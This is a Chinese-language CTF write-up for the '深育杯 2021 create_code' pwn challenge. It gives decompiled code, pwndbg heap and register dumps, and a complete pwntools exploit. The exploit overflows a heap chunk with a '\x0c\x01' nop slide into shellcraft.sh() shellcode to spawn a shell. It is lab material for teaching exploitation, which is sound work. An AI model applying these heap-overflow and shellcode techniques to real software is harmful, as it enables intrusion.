前言

这里先了解一个指令\x0c\x01可以当作一个无害的nop指令,执行一次可以滑过两个字节

[深育杯 2021]create_code

查看保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ checksec flag
[*] '/home/voyager/flag'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled

~ via C v11.4.0-gcc via 🐍 v3.10.12


IDA

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ssize_t sub_13F0()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 buf; // [rsp+8h] [rbp-8h]

v1 = 0;
if ( dword_4040 > 46 ) #最多创建46个chunk
return write(1, "no more data.\n", 0xFu);
++dword_4040;
buf = (unsigned __int64)malloc(0x324u); #大小设置
mprotect((void *)(buf & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7); #赋予读写执行权限
write(1, "content: ", 9u);
read(0, (void *)buf, 0x3E8u); #读取1000个字节,很明显的堆溢出
qword_4060[dword_4040] = buf; #存储chunk地址,但要注意开启了pie保护
if ( *(_DWORD *)buf == 0xF012F012 ) 检查前四个字节
{
while ( v1 <= 999 ) #这个就是检验从0到第一千个字节,大小范围得在(0x00-0x0f),否则置为0x00
{
if ( *(_BYTE *)(buf + v1 + 4) > 0xFu )
*(_BYTE *)(buf + v1 + 4) = 0;
++v1;
}
qword_4048 = buf + 4;
((void (*)(void))(buf + 4))(); #执行buf+4处的内容
}
else #不是则将其设为4
{
*(_DWORD *)buf = 4;
}
return write(1, "create successfully.\n", 0x15u);
}
1
2
3
def add(content):
r.sendlineafter(b"> ",str(1))
r.sendlineafter(b"content: ",content)

但是这里有个误区,p32(8)输出的是4个字节,那是因为上面add函数那个检测美国大小被强制为4

get函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 sub_153E()
{
__int64 result; // rax

write(1, "id: ", 4u);
result = sub_132A();
if ( (_DWORD)result != -1 )
{
if ( (int)result <= dword_4040 ) #获取id<=
return write(1, (const void *)(qword_4060[(int)result] + 4LL), *(unsigned int *)qword_4060[(int)result]); #发现输出是从chunk+4字节的位置,长度是按照chunk前四个字节来,那么我们输入的content应该是p32()+b""这样子的
else
return write(1, "Index out of range.\n", 0x14u);
}
return result;
}
1
2
3
def get(id):
r.sendlineafter(b"> ",str(2))
r.sendlineafter(b"id: ",str(id))

delete函数

这个就是常规的,没什么好说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 sub_15F0()
{
__int64 result; // rax
int i; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

write(1, "id: ", 4u);
result = sub_132A();
v2 = result;
if ( (_DWORD)result != -1 )
{
if ( (int)result <= dword_4040 )
{
free((void *)qword_4060[(int)result]);
--dword_4040;
for ( i = v2; i <= 46; ++i )
qword_4060[i] = qword_4060[i + 1];
return write(1, "delete successfully\n", 0x14u);
}
else
{
return write(1, "Index out of range.\n", 0x14u);
}
}
return result;
}
1
2
3
def free(id):
r.sendlineafter(b"> ",str(3))
r.sendlineafter(b"id: ",str(id))

思路

堆溢出

这里看下释放前后heap图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> x/20gx 0x64a5e65e1290
0x64a5e65e1290: 0x0000000000000000 0x0000000000000331
0x64a5e65e12a0: 0x0000000a00000004 0x0000000000000000
0x64a5e65e12b0: 0x0000000000000000 0x0000000000000000
0x64a5e65e12c0: 0x0000000000000000 0x0000000000000000
0x64a5e65e12d0: 0x0000000000000000 0x0000000000000000
0x64a5e65e12e0: 0x0000000000000000 0x0000000000000000
0x64a5e65e12f0: 0x0000000000000000 0x0000000000000000
0x64a5e65e1300: 0x0000000000000000 0x0000000000000000
0x64a5e65e1310: 0x0000000000000000 0x0000000000000000
0x64a5e65e1320: 0x0000000000000000 0x0000000000000000
pwndbg> x/110gx 0x64a5e65e15c0
0x64a5e65e15c0: 0x0000000000000000 0x0000000000000331
0x64a5e65e15d0: 0x6161616100000004 0x6161616161616161
0x64a5e65e15e0: 0x6161616161616161 0x6161616161616161
0x64a5e65e15f0: 0x6161616161616161 0x6161616161616161
0x64a5e65e1600: 0x6161616161616161 0x6161616161616161
0x64a5e65e1610: 0x6161616161616161 0x6161616161616161
0x64a5e65e1620: 0x6161616161616161 0x6161616161616161
0x64a5e65e1630: 0x6161616161616161 0x6161616161616161
0x64a5e65e1640: 0x6161616161616161 0x6161616161616161
0x64a5e65e1650: 0x6161616161616161 0x6161616161616161
0x64a5e65e1660: 0x6161616161616161 0x6161616161616161
0x64a5e65e1670: 0x6161616161616161 0x6161616161616161
0x64a5e65e1680: 0x6161616161616161 !!shellcode开始处:0xb848686a010c010c
0x64a5e65e1690: 0x732f2f2f6e69622f 0x01697268e7894850
0x64a5e65e16a0: 0x0101010124348101 0x01485e086a56f631
0x64a5e65e16b0: 0x6ad231e6894856e6 0x0000000a050f583b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> x/20gx 0x64a5e65e1290
0x64a5e65e1290: 0x0000000000000000 0x0000000000000331
0x64a5e65e12a0: 0x000000064a5e65e1 0x26840bdb37904efa
0x64a5e65e12b0: 0x0000000000000000 0x0000000000000000
0x64a5e65e12c0: 0x0000000000000000 0x0000000000000000
0x64a5e65e12d0: 0x0000000000000000 0x0000000000000000
0x64a5e65e12e0: 0x0000000000000000 0x0000000000000000
0x64a5e65e12f0: 0x0000000000000000 0x0000000000000000
0x64a5e65e1300: 0x0000000000000000 0x0000000000000000
0x64a5e65e1310: 0x0000000000000000 0x0000000000000000
0x64a5e65e1320: 0x0000000000000000 0x0000000000000000
pwndbg> x/110gx 0x64a5e65e15c0
0x64a5e65e15c0: 0x0000000000000000 0x0000000000000331
0x64a5e65e15d0: 0x6161616100000004 0x6161616161616161
0x64a5e65e15e0: 0x6161616161616161 0x6161616161616161
0x64a5e65e15f0: 0x6161616161616161 0x6161616161616161
0x64a5e65e1600: 0x6161616161616161 0x6161616161616161
0x64a5e65e1610: 0x6161616161616161 0x6161616161616161
0x64a5e65e1620: 0x6161616161616161 0x6161616161616161
0x64a5e65e1630: 0x6161616161616161 0x6161616161616161
0x64a5e65e1640: 0x6161616161616161 0x6161616161616161
0x64a5e65e1650: 0x6161616161616161 0x6161616161616161
0x64a5e65e1660: 0x6161616161616161 0x6161616161616161
0x64a5e65e1670: 0x6161616161616161 0x6161616161616161
0x64a5e65e1680: 0x6161616161616161 !!shellcode开始处:0xb848686a010c010c
0x64a5e65e1690: 0x732f2f2f6e69622f 0x01697268e7894850
0x64a5e65e16a0: 0x0101010124348101 0x01485e086a56f631
0x64a5e65e16b0: 0x6ad231e6894856e6 0x0000000a050f583b
0x64a5e65e16c0: 0x0000000000000000 0x0000000000000000
0x64a5e65e16d0: 0x0000000000000000 0x0000000000000000

0x330+0xb8=0x3e8刚刚好

为什么shellcode前面还要设置nop

可能有人疑问为什么shellcode前面还要再次设置nop,这是没有nop的情况,可以看到当执行call rdx后,rip指向的地址有\x00\x00\x00\x00,所以要执行两次nop滑过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
0x55bac81c5513    call   rdx                         <0x55bb00dab2a4>

0x55bac81c5515 jmp 0x55bac81c5521 <0x55bac81c5521>

0x55bac81c5521 mov edx, 0x15 EDX => 0x15
0x55bac81c5526 lea rsi, [rip + 0xb1f] RSI => 0x55bac81c604c ◂— 'create successfully.\n'
0x55bac81c552d mov edi, 1 EDI => 1
0x55bac81c5532 mov eax, 0 EAX => 0
0x55bac81c5537 call write@plt <write@plt>

0x55bac81c553c leave
0x55bac81c553d ret
───────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7ffd6474f300 ◂— 0x3e85cb1f040
01:0008│-008 0x7ffd6474f308 —▸ 0x55bb00dab2a0 ◂— 0x10c010cf012f012
02:0010│ rbp 0x7ffd6474f310 —▸ 0x7ffd6474f330 ◂— 1
03:0018│+008 0x7ffd6474f318 —▸ 0x55bac81c57a1 ◂— jmp 0x55bac81c5807
04:0020│+010 0x7ffd6474f320 ◂— 0x31000000000001
05:0028│+018 0x7ffd6474f328 ◂— 0x82b69cba49a27500
06:0030│+020 0x7ffd6474f330 ◂— 1
07:0038│+028 0x7ffd6474f338 —▸ 0x7d295c829d90 (__libc_start_call_main+128) ◂— mov edi, eax
─────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
0 0x55bac81c5513 None
1 0x55bac81c57a1 None
2 0x7d295c829d90 __libc_start_call_main+128
3 0x7d295c829e40 __libc_start_main+128
4 0x55bac81c514e None
───────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> n

Program received signal SIGSEGV, Segmentation fault.
0x000055bb00dab688 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────
*RAX 1
RBX 0
RCX 8
RDX 0x55bb00dab2a4 ◂— 0x10c010c010c010c
RDI 0
RSI 0x55bb00dab2a0 ◂— 0x10c010cf012f012
R8 0x1999999999999999
R9 0
R10 0x7d295c9beac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
R11 0x246
R12 0x7ffd6474f448 —▸ 0x7ffd64751411 ◂— 0x530067616c662f2e /* './flag' */
R13 0x55bac81c56ee ◂— endbr64
R14 0
R15 0x7d295cb1f040 (_rtld_global) —▸ 0x7d295cb202e0 —▸ 0x55bac81c4000 ◂— 0x10102464c457f
RBP 0x7ffd6474f310 —▸ 0x7ffd6474f330 ◂— 1
*RSP 0x7ffd6474f2f8 —▸ 0x55bac81c5515 ◂— jmp 0x55bac81c5521
*RIP 0x55bb00dab688 ◂— 0x6e69622f00000000
─────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────
0x55bb00dab688 add byte ptr [rax], al
0x55bb00dab68a add byte ptr [rax], al

加上后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
regs off ]─────────────────────────
*RAX 0
RBX 0
RCX 8
RDX 0x5b98e390b2a4 ◂— 0x10c010c010c010c
RDI 0
RSI 0x5b98e390b2a0 ◂— 0x10c010cf012f012
R8 0x1999999999999999
R9 0
R10 0x7da9e77beac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
R11 0x246
R12 0x7ffe0216c678 —▸ 0x7ffe0216d411 ◂— 0x530067616c662f2e /* './flag' */
R13 0x5b98cfb186ee ◂— endbr64
R14 0
R15 0x7da9e7881040 (_rtld_global) —▸ 0x7da9e78822e0 —▸ 0x5b98cfb17000 ◂— 0x10102464c457f
RBP 0x7ffe0216c540 —▸ 0x7ffe0216c560 ◂— 1
RSP 0x7ffe0216c530 ◂— 0x3e8e7881040
*RIP 0x5b98cfb18513 ◂— call rdx
─────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────
b+ 0x5b98cfb18507 mov rdx, qword ptr [rip + 0x2b3a] RDX, [0x5b98cfb1b048] => 0x5b98e390b2a4 ◂— 0x10c010c010c010c
0x5b98cfb1850e mov eax, 0 EAX => 0
0x5b98cfb18513 call rdx <0x5b98e390b2a4>

0x5b98cfb18515 jmp 0x5b98cfb18521 <0x5b98cfb18521>

0x5b98cfb18521 mov edx, 0x15 EDX => 0x15
0x5b98cfb18526 lea rsi, [rip + 0xb1f] RSI => 0x5b98cfb1904c ◂— 'create successfully.\n'
0x5b98cfb1852d mov edi, 1 EDI => 1
0x5b98cfb18532 mov eax, 0 EAX => 0
0x5b98cfb18537 call write@plt <write@plt>

0x5b98cfb1853c leave
0x5b98cfb1853d ret
───────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7ffe0216c530 ◂— 0x3e8e7881040
01:0008│-008 0x7ffe0216c538 —▸ 0x5b98e390b2a0 ◂— 0x10c010cf012f012
02:0010│ rbp 0x7ffe0216c540 —▸ 0x7ffe0216c560 ◂— 1
03:0018│+008 0x7ffe0216c548 —▸ 0x5b98cfb187a1 ◂— jmp 0x5b98cfb18807
04:0020│+010 0x7ffe0216c550 ◂— 0x31000000000001
05:0028│+018 0x7ffe0216c558 ◂— 0xed82ee3a7f03cb00
06:0030│+020 0x7ffe0216c560 ◂— 1
07:0038│+028 0x7ffe0216c568 —▸ 0x7da9e7629d90 (__libc_start_call_main+128) ◂— mov edi, eax
─────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
0 0x5b98cfb18513 None
1 0x5b98cfb187a1 None
2 0x7da9e7629d90 __libc_start_call_main+128
3 0x7da9e7629e40 __libc_start_main+128
4 0x5b98cfb1814e None
───────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> n
process 7495 is executing new program: /usr/bin/dash
Python Exception <class 'pwndbg.dbg.Error'>: Cannot access memory at address 0x5b98cfb18000
Error in re-setting breakpoint 1: Error occurred in Python: Cannot access memory at address 0x5b98cfb18000
Python Exception <class 'pwndbg.dbg.Error'>: Cannot access memory at address 0x5b98cfb18000
Error in re-setting breakpoint 1: Error occurred in Python: Cannot access memory at address 0x5b98cfb18000
Python Exception <class 'pwndbg.dbg.Error'>: Cannot access memory at address 0x5b98cfb18000
Error in re-setting breakpoint 1: Error occurred in Python: Cannot access memory at address 0x5b98cfb18000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Python Exception <class 'pwndbg.dbg.Error'>: Cannot access memory at address 0x5b98cfb18000
Error in re-setting breakpoint 1: Error occurred in Python: Cannot access memory at address 0x5b98cfb18000

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*
r=process("./flag")
#r=remote("node5.anna.nssctf.cn",22364)
context(arch='amd64', os='linux', log_level='debug')
elf=ELF("./flag")

def add(content):
r.sendlineafter(b"> ",str(1))
r.sendlineafter(b"content: ",content)
def get(id):
r.sendlineafter(b"> ",str(2))
r.sendlineafter(b"id: ",str(id))
def free(id):
r.sendlineafter(b"> ",str(3))
r.sendlineafter(b"id: ",str(id))


add(b'a'*4) #index 0

add(b'a'*0xb8 + b'\x0c\x01'*2 + asm(shellcraft.sh())) #index 1
gdb.attach(r)
free(0)
add(p32(0xF012F012) + b'\x0c\x01'*(0x3e8//2)) #index 0
gdb.attach(r, 'b *$rebase(0x1507)') #这个0x1507是执行call rdx的位置,$rebase(0x1507)就是有pie保护函数的真实地址
r.interactive()